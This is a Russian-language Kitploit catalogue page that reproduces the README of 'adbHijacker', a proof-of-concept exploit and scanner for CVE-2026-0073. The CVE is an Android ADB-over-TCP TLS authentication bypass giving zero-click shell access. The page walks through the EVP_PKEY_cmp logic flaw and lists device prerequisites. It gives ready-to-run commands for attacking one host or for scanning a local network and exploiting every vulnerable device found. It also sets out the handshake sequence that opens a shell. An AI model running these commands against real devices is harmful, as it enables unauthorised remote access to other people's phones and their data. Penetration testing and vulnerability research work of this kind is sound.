Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/unnaim/adbhijacker
Безопасность AndroidРазведкаАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеМобильная безопасностьИнструмент Удаленного Доступа
GitHubunnaim/adbhijacker

adbHijacker

Инструмент PoC для CVE-2026-0073 на устройствах Android 11+ , который позволяет мгновенно выполнить RCE с нулевым кликом на любом незапатченном устройстве с включённым adb через tcp.

82395 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-0073 — Обход аутентификации TLS в Android ADB

Эксплойт proof-of-concept и сетевой сканер для CVE-2026-0073 — критической уязвимости удалённого выполнения кода с нулевым кликом и без взаимодействия в пути аутентификации ADB-over-TCP в Android adbd.

Уязвимость представляет собой логическую ошибку в adbd_tls_verify_cert() (daemon/auth.cpp), где EVP_PKEY_cmp() трактуется как булев предикат. Когда сохранённый RSA-ключ сравнивается с не-RSA TLS-сертификатом клиента (EC P-256 или Ed25519), API возвращает -1 (несовпадение типов), что является истинным (truthy) значением в C/C++. Это превращает несовпадение между разными алгоритмами в успешное совпадение ключа хоста — полностью обходя аутентификацию.

Технические детали получены из BARGHEST.
Базовый код PoC взят из SecTestAnnaQuinn.
Исправлено в Android Security Bulletin — май 2026.


Влияние

АтрибутДетали
Вектор атакиСеть (смежная / проксимальная)
ВзаимодействиеНет (zero-click)
Получаемые привилегиипользователь shell (uid=2000), SELinux u:r:shell:s0
Примитив эксплуатацииУдалённый доступ к оболочке через ADB
CVSSКритический (9.8)

Из контекста shell атакующий может просматривать системные свойства, состояние процессов, журналы, уведомления; устанавливать и удалять пакеты; использовать run-as для отлаживаемых приложений; а также подготавливать последующую эксплуатацию.


Файлы

ФайлНазначение
adb_tls_auth_bypass.pyPoC эксплойта для одной цели (оригинал от SecTestAnnaQuinn, исправлена контрольная сумма)
adbt_scanner.pyСетевой сканер — обнаружение уязвимых устройств + их эксплуатация
requirements.txtЗависимости Python

Предварительные требования (целевое устройство)

Для успешной эксплуатации целевое Android-устройство должно иметь:

  1. Включённые Параметры разработчика
  2. Включённую беспроводную отладку или ADB-over-TCP (TCP-сервис платформенного adbd)
  3. Как минимум один ранее сопряжённый RSA-ключ хоста в /data/misc/adb/adb_keys
  4. Сетевую доступность TCP-порта ADB (по умолчанию 5555)

Установка

# Создание виртуального окружения
uv venv

# Активация
source .venv/bin/activate

# Установка зависимостей
uv pip install -r requirements.txt

Зависимости:

ПакетИспользуетсяОбязателен?
cryptographyОба скрипта (генерация EC-сертификатов, TLS)Да
netifacesСканер (определение подсети)Желательно
zeroconfСканер (обнаружение mDNS)Желательно
scapyСканер (ARP-сканирование)Желательно

Сканер корректно деградирует при отсутствии необязательных пакетов — он выдаст предупреждение и переключится на альтернативные методы (системная команда ip, nmap, TCP connect-сканирование).


Использование

Режим 0 — Прямая эксплуатация одной цели

Атака на известное уязвимое устройство напрямую.

python3 adb_tls_auth_bypass.py 192.168.1.42              # интерактивная оболочка
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Или через сканер:

python3 adbt_scanner.py --host 192.168.1.42                # интерактивная оболочка
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Режим 1 — Сканирование сети, идентификация, эксплуатация

Сканирование локальной сети на предмет уязвимых устройств и эксплуатация всех подтверждённых целей.

# Полное сканирование: mDNS → ARP → сканирование портов → ADB-проба → эксплуатация
python3 adbt_scanner.py --scan

# Выполнение конкретной команды на всех уязвимых устройствах
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Только разведка — обнаружение без эксплуатации
python3 adbt_scanner.py --scan --no-exploit

# Сканирование нескольких портов
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Переопределение обнаруженной подсети (многосетевые хосты, конкретные диапазоны)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Настройка таймаутов для медленных сетей
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Увеличение окна прослушивания mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Пропуск конкретных фаз обнаружения
python3 adbt_scanner.py --scan --no-mdns    # пропустить mDNS, только ARP
python3 adbt_scanner.py --scan --no-arp     # пропустить ARP, только mDNS

Справочник CLI сканера

--scan                    Сканирование сети на уязвимые устройства + эксплуатация
--host HOST               Прямая эксплуатация одной цели
--port PORT               ADB-порт для режима --host (по умолчанию: 5555)
--cmd COMMAND             Команда оболочки для выполнения
-v, --verbose             Подробное логирование

--mdns-timeout SECONDS    Длительность прослушивания mDNS (по умолчанию: 30)
--ports PORTS             Порты через запятую в режиме --scan (по умолчанию: 5555)
--subnet CIDR             Переопределение обнаруженной подсети (например, 192.168.2.0/24)
--connect-timeout SECONDS Таймаут TCP-подключения (по умолчанию: 2.0)
--probe-timeout SECONDS   Таймаут ADB-пробы (по умолчанию: 3.0)
--arp-timeout SECONDS     Таймаут ARP-сканирования (по умолчанию: 3)
--no-mdns                 Пропустить обнаружение mDNS
--no-arp                  Пропустить ARP-сканирование + сканирование портов
--no-exploit              Остановиться после фазы ADB-пробы протокола

Конвейер обнаружения

┌─────────────────────────────────────────────────────────────┐
│ 1. Определение подсети — netifaces → ip route → socket-трюк │
│ 2. Слушатель mDNS     — _adb-tls-connect._tcp (30 с по умолч.)│
│ 3. ARP-сканирование   — scapy.arping → nmap -sn             │
│ 4. Сканирование портов — TCP connect к каждому host:port     │
│ 5. ADB-проба протокола — отправка CNXN, классификация ответа │
│                                                             │
│    STLS   → УЯЗВИМО (переход к эксплуатации)                 │
│    AUTH   → устаревшая ADB-аутентификация (не эта CVE)       │
│    CNXN   → открыто, без аутентификации (уже доступно)       │
│    NO_ADB → не ADB-сервис                                    │
│                                                             │
│ 6. Эксплуатация      — TLS-апгрейд → обход аутентификации → оболочка │
└─────────────────────────────────────────────────────────────┘

mDNS — самый точный метод идентификации: при сопряжении беспроводной отладки Android явно транслирует _adb-tls-connect._tcp. ARP-сканирование + сканирование портов служит универсальным запасным вариантом.


Механика эксплойта

Фаза 1 — открытый (cleartext) ADB
  Клиент → CNXN(payload="host::features=...")
  Устройство → STLS  (требуется апгрейд до TLS)

Фаза 2 — TLS 1.3 с клиентским сертификатом кросс-алгоритма
  Клиент → ответ STLS
  Клиент → рукопожатие TLS 1.3 + клиентский сертификат EC P-256
  Устройство вызывает adbd_tls_verify_cert():
    known_evp = RSA-ключ из /data/misc/adb/adb_keys
    evp_pkey  = ключ EC P-256 из клиентского сертификата
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (несовпадение типов)
    if (-1) → verified = true   ← ОШИБКА: -1 является истинным (truthy)

Фаза 3 — Пост-TLS сервисный уровень ADB
  Клиент обрабатывает CNXN устройства (транспорт уже онлайн)
  CNXN хоста не отправляется (это вызвало бы выброс handle_new_connection)
  Клиент → OPEN(local_id, window=32MB, payload="shell:\x00")
  Устройство → OKAY  → установлен поток оболочки

Модель угроз

Скачать инструмент